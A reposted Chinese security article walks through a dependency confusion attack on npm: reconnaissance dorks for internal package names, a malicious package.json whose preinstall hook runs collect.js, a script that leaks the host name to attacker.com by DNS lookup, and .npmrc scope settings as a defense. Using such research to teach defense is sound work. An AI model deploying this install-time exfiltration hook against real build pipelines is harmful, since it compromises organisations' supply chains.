[前沿技术]依赖混淆攻击实战

admin 2026-05-27 04:52:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了依赖混淆攻击的实战流程,该攻击由AlexBirsan在2021年提出,通过注册高版本同名包诱使包管理器优先下载恶意包。攻击步骤包括信息收集(扫描公开代码、锁文件)、注册含preinstall脚本的恶意包、通过DNS外带验证入侵效果。防御方案包括使用scope注册、配置.npmrc强制内部仓库、锁定依赖版本等可操作措施。 综合评分: 87 文章分类: 渗透测试,WEB安全,漏洞分析,安全工具,解决方案


cover_image

[前沿技术] 依赖混淆攻击实战

原创

Pik安全实验室 Pik安全实验室

Pik安全实验室

2026年5月25日 10:13 广东

在小说阅读器读本章

去阅读

0x00 介绍

依赖混淆(Dependency Confusion)由 Alex Birsan 在 2021 年提出。通过分析目标公司内部使用的私有包名,在公共仓库注册同名包并赋予极高版本号,包管理器会优先下载攻击者的恶意包。Apple、Microsoft、Tesla 等大量科技巨头均受影响。本文将详细演示攻击流程和检测方法。

0x01 攻击原理

包管理器(npm/pip/NuGet)解析依赖时,如果同时存在内部仓库和公共仓库,通常会选择版本号更高的包。攻击者注册的包版本设为 99.99.99,必然被选中。

0x02 实战步骤

Step 1: 信息收集

从 package.json 泄露的内部包名

扫描目标的公开仓库、JS 文件、错误信息

使用 npm-packlist 检查 node_modules

ls -la node_modules/@company-name/

搜索公开的 lock 文件

site:github.com “@target-company” filename:package-lock.json

从错误日志中提取

site:target.com “cannot find module” “@internal”

Step 2: 注册同名包

在 npm 注册与内部包同名的包,版本设为极高(如 999.0.0)。包内 preinstall 脚本在安装时自动执行。

// package.json { “name”: “@company/internal-utils”, “version”: “99.99.99”, “scripts”: {     “preinstall”: “node ./collect.js” } }

// collect.js — DNS 外带验证 const dns = require(‘dns’); const os = require(‘os’); const hostname = os.hostname(); dns.lookup(${hostname}.attacker.com, console.log);

Step 3: 验证与利用

发布后等待目标的 CI/CD 自动构建触发安装。通过 DNS 日志确认代码执行。

0x03 防御

使用 scope 注册(@company/my-package)、npm 组织管理、配置 .npmrc 的 @scope:registry、使用 npm audit 检测、锁定依赖版本。

.npmrc 配置 — 强制内部包走私有仓库

@company:registry=https://npm.company.com/

package.json 中显式声明 registry

“publishConfig”: {   “registry”: “https://npm.company.com/” }

本文仅作安全研究与学习用途,用于非法行为后果自行承担。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Pik安全实验室 Pik安全实验室 Pik安全实验室《[前沿技术] 依赖混淆攻击实战》

在地下_马识途_摘录(17) 网络安全文章

在地下_马识途_摘录(17)

文章总结: 本文是马识途回忆录《在地下》摘录,记录1931至1950年地下党工作经历,涵盖入党、抗日宣传、统战协作及解放后反思,展现革命先辈在国统区坚持斗争的历
评论:0   参与:  0